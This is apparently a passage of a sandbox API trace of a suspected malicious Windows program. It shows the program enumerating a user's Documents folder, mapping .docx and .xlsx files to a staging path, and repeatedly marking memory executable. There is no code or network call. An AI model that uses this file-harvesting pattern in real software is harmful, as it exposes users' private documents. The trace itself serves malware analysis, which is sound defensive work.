pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Music", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Music") returned 1 [0165.797] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\My Music", len=0x25 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\My Music") returned 1 [0165.797] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Music", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Music", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Music") returned 1 [0165.797] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Music", len=0x24 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Music") returned 1 [0165.797] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Music", psz="C:\\Users\\aETAdzjz\\Documents\\My Music", len=0x24 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Music") returned 1 [0165.797] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Music", len=0x24 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Music") returned 1 [0165.797] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Music", psz="C:\\Users\\aETAdzjz\\Documents\\My Music", len=0x24 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Music") returned 1 [0165.798] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x23657020, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23657020, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x23657020, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0165.798] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Music", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures") returned 1 [0165.798] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures", len=0x28 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures") returned 1 [0165.798] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures") returned 1 [0165.798] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Pictures", len=0x27 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Pictures") returned 1 [0165.798] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Pictures", psz="C:\\Users\\aETAdzjz\\Documents\\My Pictures", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Pictures") returned 1 [0165.799] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Pictures", len=0x27 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Pictures") returned 1 [0165.799] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Pictures", psz="C:\\Users\\aETAdzjz\\Documents\\My Pictures", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Pictures") returned 1 [0165.799] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xb1513f70, ftCreationTime.dwHighDateTime=0x1d30618, ftLastAccessTime.dwLowDateTime=0xb1586390, ftLastAccessTime.dwHighDateTime=0x1d30618, ftLastWriteTime.dwLowDateTime=0xb1586390, ftLastWriteTime.dwHighDateTime=0x1d30618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0165.799] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Pictures", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes") returned 1 [0165.799] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes") returned 1 [0165.799] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7df9bc*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.800] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.801] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.801] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.801] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.801] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.801] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\My Shapes" (normalized: "c:\\users\\aetadzjz\\documents\\my shapes")) returned 0x14 [0165.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.808] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.808] SysReAllocStringLen (in: pbstr=0x1e7df9b0*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.808] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.808] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.808] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.808] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.808] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.809] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.809] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Documents\\My Shapes", cchWideChar=37, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Documents\\My ShapesUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 37 [0165.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.810] SysReAllocStringLen (in: pbstr=0x1fcfef64*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Shapes", len=0x25 | out: pbstr=0x1fcfef64*="C:\\Users\\aETAdzjz\\Documents\\My Shapes") returned 1 [0165.810] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x23657020, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23657020, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x23657020, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Shapes", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Videos", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Videos") returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\My Videos", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\My Videos") returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Videos", psz="C:\\Users\\aETAdzjz\\Documents\\\\My Videos", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Videos") returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Videos", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\My Videos") returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\My Videos", psz="C:\\Users\\aETAdzjz\\Documents\\My Videos", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Videos") returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\My Videos", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\My Videos") returned 1 [0165.811] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Videos", psz="C:\\Users\\aETAdzjz\\Documents\\My Videos", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Videos") returned 1 [0165.811] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d84cb0, ftCreationTime.dwHighDateTime=0x1d5d12d, ftLastAccessTime.dwLowDateTime=0x283f8370, ftLastAccessTime.dwHighDateTime=0x1d59524, ftLastWriteTime.dwLowDateTime=0x283f8370, ftLastWriteTime.dwHighDateTime=0x1d59524, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Nu56E.docx", cAlternateFileName="NU56E~1.DOC")) returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\My Videos", psz="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx") returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx") returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx") returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.812] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.812] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Nu56E.docx", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nu56E.docxETAdzjz\\Documents\\My ShapesUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 10 [0165.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.813] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Nu56E.docx", cchWideChar=10, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nu56E.docxETAdzjz\\Documents\\My ShapesUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 10 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.813] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\imR3uKJ.xlsx", psz="Files\\2\\\\Nu56E.docx", len=0x13 | out: pbstr=0x1e7dfa00*="Files\\2\\\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\2\\\\Nu56E.docx", len=0x13 | out: pbstr=0x1e7df978*="Files\\2\\\\Nu56E.docx") returned 1 [0165.814] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\Nu56E.docx", psz="Files\\2\\\\Nu56E.docx", len=0x13 | out: pbstr=0x1e7dfa00*="Files\\2\\\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\2\\Nu56E.docx", len=0x12 | out: pbstr=0x1e7df974*="Files\\2\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\Nu56E.docx", psz="Files\\2\\Nu56E.docx", len=0x12 | out: pbstr=0x1e7dfa00*="Files\\2\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\2\\Nu56E.docx", len=0x12 | out: pbstr=0x1e7df970*="Files\\2\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\Nu56E.docx", psz="Files\\2\\Nu56E.docx", len=0x12 | out: pbstr=0x1e7dfa00*="Files\\2\\Nu56E.docx") returned 1 [0165.815] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Files\\2\\Nu56E.docx", cchWideChar=18, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Files\\2\\Nu56E.docxDocuments\\My ShapesUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 18 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", len=0x26 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx") returned 1 [0165.815] SysReAllocStringLen (in: 